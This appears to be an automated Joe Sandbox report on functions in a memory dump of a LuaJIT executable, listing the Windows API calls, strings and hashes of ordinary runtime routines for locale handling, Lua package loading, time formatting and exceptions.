Function 00007FF738B0C47C Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF738B0C4EB
WriteFile.KERNEL32 ref: 00007FF738B0C7A2
WriteFile.KERNEL32 ref: 00007FF738B0C7F4
GetLastError.KERNEL32 ref: 00007FF738B0C8F6
GetLastError.KERNEL32 ref: 00007FF738B0C956

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: e5ccdf6921700fa874654f2e7c7bf8979a8c0e057061f34df2c92357921ddb5a
Instruction ID: d5ff933f37ed487f8c18c8f8d9598872de797872169d6bc918f48f5760237c44
Opcode Fuzzy Hash: e5ccdf6921700fa874654f2e7c7bf8979a8c0e057061f34df2c92357921ddb5a
Instruction Fuzzy Hash: 74E110B3B08782AAE700DB64D0505ADFBB1FB447C8B804122DE6E57B99CF3AD406D316

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B12C74 Relevance: 6.1, APIs: 4, Instructions: 149timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF738B12CA2

Part of subcall function 00007FF738B123E0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738B123F4

_get_daylight.LIBCMT ref: 00007FF738B12CB3

Part of subcall function 00007FF738B12380: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738B12394

_get_daylight.LIBCMT ref: 00007FF738B12CC4

Part of subcall function 00007FF738B123B0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738B123C4

Part of subcall function 00007FF738B09294: HeapFree.KERNEL32(?,?,?,00007FF738B18C78,?,?,?,00007FF738B18FFB,?,?,00000019,00007FF738B196D0,?,?,?,00007FF738B19603), ref: 00007FF738B092AA
Part of subcall function 00007FF738B09294: GetLastError.KERNEL32(?,?,?,00007FF738B18C78,?,?,?,00007FF738B18FFB,?,?,00000019,00007FF738B196D0,?,?,?,00007FF738B19603), ref: 00007FF738B092BC

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF738B12ED0), ref: 00007FF738B12CEB

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: e26427f5b20f62ba883876fd1f06ab4d7f91d3ecd8fd6feb52cbceae43215d72
Instruction ID: 587344b4cdd523782261e24a84e9912c0c5ef839494d9c7e7d0ecfdc0b61ee67
Opcode Fuzzy Hash: e26427f5b20f62ba883876fd1f06ab4d7f91d3ecd8fd6feb52cbceae43215d72
Instruction Fuzzy Hash: DE61E633A08653A6E720FF31E8815B9E361FB48784FC44135EA8D47A95DF3EE500A769

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B128FC Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 244COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF738B157E4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738B15812

_get_daylight.LIBCMT ref: 00007FF738B12A19
_get_daylight.LIBCMT ref: 00007FF738B12A2A

Strings

?, xrefs: 00007FF738B129A5

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: cf0eb1f6ca2243066e125b98a8636c984bae825e280b544a8dfa0c66d0da31ad
Instruction ID: 3111056fe071659bc986dfde161b5ffe5328d463c40361529c5962b9e5bc8c54
Opcode Fuzzy Hash: cf0eb1f6ca2243066e125b98a8636c984bae825e280b544a8dfa0c66d0da31ad
Instruction Fuzzy Hash: 74910323F1865366EB20FF35840127AE752EB80BD4F944131EA8C4BAD5DF3ED442A75A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B09934 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF738B0996D
GetLocaleInfoW.KERNEL32(?,?,?,?,?,00007FF738B0734E), ref: 00007FF738B0999B

Strings

GetLocaleInfoEx, xrefs: 00007FF738B09950, 00007FF738B09961

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: InfoLocaletry_get_function
String ID: GetLocaleInfoEx
API String ID: 2200034068-2904428671
Opcode ID: cedeff604e51c5c39958de497cab3e5388dd21419572c7ffd9defd6c3c48ed15
Instruction ID: 0813b2ea1818b5f3e2647c82a13193012f2c6a670f8b669de6a31c565c2376f9
Opcode Fuzzy Hash: cedeff604e51c5c39958de497cab3e5388dd21419572c7ffd9defd6c3c48ed15
Instruction Fuzzy Hash: B901F922B08B87A1E710EB51B4404AAE360FF95BC0FD44035EE5C13B59CF3ED901979A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738ABEE80 Relevance: 3.0, APIs: 2, Instructions: 36windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF738ABEE96
FormatMessageA.KERNEL32 ref: 00007FF738ABEECA

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: e43a0246ca48c036b89a1bc6ecf8a36f86f99c51f42af5f9ead38ad86180ded0
Instruction ID: 29760e7bb63ad651c30eef6eb4885f1d1560c7f19bb11e1fb48ba7901b2a9e23
Opcode Fuzzy Hash: e43a0246ca48c036b89a1bc6ecf8a36f86f99c51f42af5f9ead38ad86180ded0
Instruction Fuzzy Hash: 14114832609A8292E760EB54F44475AF7A0FBC5380F908536EA8D43B68DF7ED0589B64

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B09D50 Relevance: 36.8, APIs: 10, Strings: 11, Instructions: 57COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF738B09D6B
try_get_function.LIBVCRUNTIME ref: 00007FF738B09D8A

Part of subcall function 00007FF738B09378: GetProcAddress.KERNEL32(?,?,00000002,00007FF738B09856,?,?,?,00007FF738B0AB66,?,?,?,00007FF738AFAF01), ref: 00007FF738B094D0

try_get_function.LIBVCRUNTIME ref: 00007FF738B09DA9

Part of subcall function 00007FF738B09378: LoadLibraryExW.KERNEL32(?,?,00000002,00007FF738B09856,?,?,?,00007FF738B0AB66,?,?,?,00007FF738AFAF01), ref: 00007FF738B0941B
Part of subcall function 00007FF738B09378: GetLastError.KERNEL32(?,?,00000002,00007FF738B09856,?,?,?,00007FF738B0AB66,?,?,?,00007FF738AFAF01), ref: 00007FF738B09429
Part of subcall function 00007FF738B09378: LoadLibraryExW.KERNEL32(?,?,00000002,00007FF738B09856,?,?,?,00007FF738B0AB66,?,?,?,00007FF738AFAF01), ref: 00007FF738B0946B

try_get_function.LIBVCRUNTIME ref: 00007FF738B09DC8

Part of subcall function 00007FF738B09378: FreeLibrary.KERNEL32(?,?,00000002,00007FF738B09856,?,?,?,00007FF738B0AB66,?,?,?,00007FF738AFAF01), ref: 00007FF738B094A4

try_get_function.LIBVCRUNTIME ref: 00007FF738B09DE7
try_get_function.LIBVCRUNTIME ref: 00007FF738B09E06
try_get_function.LIBVCRUNTIME ref: 00007FF738B09E25
try_get_function.LIBVCRUNTIME ref: 00007FF738B09E44
try_get_function.LIBVCRUNTIME ref: 00007FF738B09E63
try_get_function.LIBVCRUNTIME ref: 00007FF738B09E82

Strings

LCMapStringEx, xrefs: 00007FF738B09E49, 00007FF738B09E5C
LocaleNameToLCID, xrefs: 00007FF738B09E87, 00007FF738B09E9A
GetTimeFormatEx, xrefs: 00007FF738B09DEC, 00007FF738B09DFF
IsValidLocaleName, xrefs: 00007FF738B09E2A, 00007FF738B09E3D
CompareStringEx, xrefs: 00007FF738B09D70, 00007FF738B09D83
GetDateFormatEx, xrefs: 00007FF738B09DAE, 00007FF738B09DC1
LCIDToLocaleName, xrefs: 00007FF738B09E68, 00007FF738B09E7B
EnumSystemLocalesEx, xrefs: 00007FF738B09D8F, 00007FF738B09DA2
GetUserDefaultLocaleName, xrefs: 00007FF738B09E0B, 00007FF738B09E1E
GetLocaleInfoEx, xrefs: 00007FF738B09DCD, 00007FF738B09DE0
AreFileApisANSI, xrefs: 00007FF738B09D64

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: try_get_function$Library$Load$AddressErrorFreeLastProc
String ID: AreFileApisANSI$CompareStringEx$EnumSystemLocalesEx$GetDateFormatEx$GetLocaleInfoEx$GetTimeFormatEx$GetUserDefaultLocaleName$IsValidLocaleName$LCIDToLocaleName$LCMapStringEx$LocaleNameToLCID
API String ID: 3255926029-3252031757
Opcode ID: f4f064dfd8f8160fec77be139e6c26641e1cf4b0400fa2d82c480ab4ae69d6c5
Instruction ID: ccaf10a8387b0b2c3c42579d3e15ea176ff79a9c6e7d5fddadc72b6a5a9a9571
Opcode Fuzzy Hash: f4f064dfd8f8160fec77be139e6c26641e1cf4b0400fa2d82c480ab4ae69d6c5
Instruction Fuzzy Hash: D23186A2948A8FB0F604FBA0E8615F5E321AF04355FC04533D01D521B58F7FA64AE7AB

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A78590 Relevance: 33.4, APIs: 2, Strings: 17, Instructions: 117COMMON

Download Yara Rule

APIs

wcsxfrm.LIBCMTD ref: 00007FF738A785ED

Part of subcall function 00007FF738A3D0C0: _free_nolock.LIBCMTD ref: 00007FF738A3D156

wcsxfrm.LIBCMTD ref: 00007FF738A787C7

Strings

loaders, xrefs: 00007FF738A7867D
LUA_NOENV, xrefs: 00007FF738A78693
\;?!-, xrefs: 00007FF738A7871F
.\?.dll;!\?.dll;!\loadall.dll, xrefs: 00007FF738A786FA
_LOADED, xrefs: 00007FF738A7874C
LUA_PATH, xrefs: 00007FF738A786DA
config, xrefs: 00007FF738A78730
loaded, xrefs: 00007FF738A78762
_LOADLIB, xrefs: 00007FF738A78599
__gc, xrefs: 00007FF738A785C4
_PRELOAD, xrefs: 00007FF738A7877E
LUA_CPATH, xrefs: 00007FF738A78701
path, xrefs: 00007FF738A786E1
cpath, xrefs: 00007FF738A78708
.\?.lua;!\lua\?.lua;!\lua\?\init.lua;, xrefs: 00007FF738A786D3
package, xrefs: 00007FF738A785E1
preload, xrefs: 00007FF738A78794

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: wcsxfrm$_free_nolock
String ID: .\?.dll;!\?.dll;!\loadall.dll$.\?.lua;!\lua\?.lua;!\lua\?\init.lua;$LUA_CPATH$LUA_NOENV$LUA_PATH$\;?!-$_LOADED$_LOADLIB$_PRELOAD$__gc$config$cpath$loaded$loaders$package$path$preload
API String ID: 338564694-1474762456
Opcode ID: 567adbf67685013490825193ac147204f22a5be4c67c6fdfc6ce4f3ce722572e
Instruction ID: ca08aa9e04e3b91c9b828b872c4fe5d71470b382ffaa0eb2e2377458a620f71f
Opcode Fuzzy Hash: 567adbf67685013490825193ac147204f22a5be4c67c6fdfc6ce4f3ce722572e
Instruction Fuzzy Hash: CE518823A29986A2E610FB65E8416AAE360FBC4750FC00132F55D477AACFBED501E758

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A47CA0 Relevance: 21.2, APIs: 1, Strings: 11, Instructions: 174COMMON

Download Yara Rule

APIs

wcsxfrm.LIBCMTD ref: 00007FF738A47E21

Strings

%d:, xrefs: 00007FF738A47EC5
Snlf, xrefs: 00007FF738A47E12
in main chunk, xrefs: 00007FF738A47F13
%s:, xrefs: 00007FF738A47EA5
at %p, xrefs: 00007FF738A47F3F
[builtin#%d]:, xrefs: 00007FF738A47E8A
..., xrefs: 00007FF738A47DC4
stack traceback:, xrefs: 00007FF738A47D25
%s, xrefs: 00007FF738A47D0B
in function '%s', xrefs: 00007FF738A47EEA
in function <%s:%d>, xrefs: 00007FF738A47F5F

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: wcsxfrm
String ID: %s:$...$[builtin#%d]:$ at %p$ in function '%s'$ in function <%s:%d>$ in main chunk$%d:$%s$Snlf$stack traceback:
API String ID: 1214967616-750625491
Opcode ID: dad8c19f1df65b98f19272fbb915c4e626c507869c5506c0b5815d88a20289f3
Instruction ID: ae2ce6b804271d3504296101ca1f8292a1540f423a9837d605d5800404f0badc
Opcode Fuzzy Hash: dad8c19f1df65b98f19272fbb915c4e626c507869c5506c0b5815d88a20289f3
Instruction Fuzzy Hash: 58916A23618AD695DB70EB15E4807AEF7A0F7C8780F844532DA9E83B68CE7ED440DB14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A77E50 Relevance: 17.7, APIs: 1, Strings: 9, Instructions: 225COMMON

Download Yara Rule

APIs

wcsftime.LIBCMT ref: 00007FF738A7817D

Part of subcall function 00007FF738A3D0C0: _free_nolock.LIBCMTD ref: 00007FF738A3D156

Strings

day, xrefs: 00007FF738A77FCA
sec, xrefs: 00007FF738A77F73
min, xrefs: 00007FF738A77F90
yday, xrefs: 00007FF738A78051
month, xrefs: 00007FF738A77FEB
year, xrefs: 00007FF738A7800F
isdst, xrefs: 00007FF738A7806E
wday, xrefs: 00007FF738A78030
hour, xrefs: 00007FF738A77FAD

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _free_nolockwcsftime
String ID: day$hour$isdst$min$month$sec$wday$yday$year
API String ID: 793903186-297742768
Opcode ID: d6203fc2d73f083a27cf039ce36135fa900140a4ee96df02599a6a17a1fe6fb6
Instruction ID: 88e98bc6b9f9694f37a2d8c75e5810d7456efbf61043e77a9e46cddc40bd8c3b
Opcode Fuzzy Hash: d6203fc2d73f083a27cf039ce36135fa900140a4ee96df02599a6a17a1fe6fb6
Instruction Fuzzy Hash: 5AC13A33619B8595DB20EB56E48076AF7A0FBC9B91F900122EA8D83B69DF3DD440DB14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A5E5D0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 52libraryloaderthreadCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32 ref: 00007FF738A5E5F5
GetProcAddress.KERNEL32 ref: 00007FF738A5E620
GetProcAddress.KERNEL32 ref: 00007FF738A5E63F
InitializeCriticalSection.KERNEL32 ref: 00007FF738A5E681
CreateThread.KERNEL32 ref: 00007FF738A5E6B7

Strings

timeEndPeriod, xrefs: 00007FF738A5E62F
winmm.dll, xrefs: 00007FF738A5E5EE
timeBeginPeriod, xrefs: 00007FF738A5E610

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: AddressProc$CreateCriticalInitializeLibraryLoadSectionThread
String ID: timeBeginPeriod$timeEndPeriod$winmm.dll
API String ID: 4260375681-184456188
Opcode ID: cc04c540dfdcd993c93d582994d185e799fa4b9f9365148040414810b697b9ff
Instruction ID: 4fcbf508592331810c3a61ed89acd594a80f372d6574522eabbf039c944dbde8
Opcode Fuzzy Hash: cc04c540dfdcd993c93d582994d185e799fa4b9f9365148040414810b697b9ff
Instruction Fuzzy Hash: 6B21E837608B8692EB10DB09E48436AB371F785B84FA00136DA8D47764DF3ED885D708

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B0215C Relevance: 12.7, APIs: 3, Strings: 4, Instructions: 479COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B02192

Strings

p, xrefs: 00007FF738B0228B
f, xrefs: 00007FF738B02283
p, xrefs: 00007FF738B02213
-, xrefs: 00007FF738B021F7

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$f$p$p
API String ID: 3215553584-2516539321
Opcode ID: 2e035ac35fe9b102a8f7191a604ce257ebae7614de89db9076753e014526f37d
Instruction ID: 72bba48fc5395a7f3f76a4a3ad551aa06e99bb7e6792e4910c3c4efa1d986917
Opcode Fuzzy Hash: 2e035ac35fe9b102a8f7191a604ce257ebae7614de89db9076753e014526f37d
Instruction Fuzzy Hash: 5C12E7A3E0C14395FB26BA34D054A7DF652EB40764FD44131D6F9066C5CB3EE888A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738AE0144 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF738AE01A1

Part of subcall function 00007FF738AE1098: __GetUnwindTryBlock.LIBCMT ref: 00007FF738AE10DB
Part of subcall function 00007FF738AE1098: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF738AE1100

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF738AE0279
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF738AE04CE
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF738AE05DA

Strings

csm, xrefs: 00007FF738AE029C
csm, xrefs: 00007FF738AE01BB
csm, xrefs: 00007FF738AE0222

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 21daca37c64a951625de81c52c05d4c1e6152d44712894eceea29e405e421fc1
Instruction ID: 3a657b771217d9192cb1e8fddf7af55e835b1aef6cf460db602b2981da7e5daa
Opcode Fuzzy Hash: 21daca37c64a951625de81c52c05d4c1e6152d44712894eceea29e405e421fc1
Instruction Fuzzy Hash: 29E1DF73A097469AEB20AF64D4507ADF7A0FB45B88F805536EE8D47B45CF39E080E724

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738ADF3FC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF738ADF6AE,?,?,?,00007FF738ADF3A0,?,?,00000001,00007FF738ADF135), ref: 00007FF738ADF481
GetLastError.KERNEL32(?,?,?,00007FF738ADF6AE,?,?,?,00007FF738ADF3A0,?,?,00000001,00007FF738ADF135), ref: 00007FF738ADF48F
LoadLibraryExW.KERNEL32(?,?,?,00007FF738ADF6AE,?,?,?,00007FF738ADF3A0,?,?,00000001,00007FF738ADF135), ref: 00007FF738ADF4B9
FreeLibrary.KERNEL32(?,?,?,00007FF738ADF6AE,?,?,?,00007FF738ADF3A0,?,?,00000001,00007FF738ADF135), ref: 00007FF738ADF4FF
GetProcAddress.KERNEL32(?,?,?,00007FF738ADF6AE,?,?,?,00007FF738ADF3A0,?,?,00000001,00007FF738ADF135), ref: 00007FF738ADF50B

Strings

api-ms-, xrefs: 00007FF738ADF4A1

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
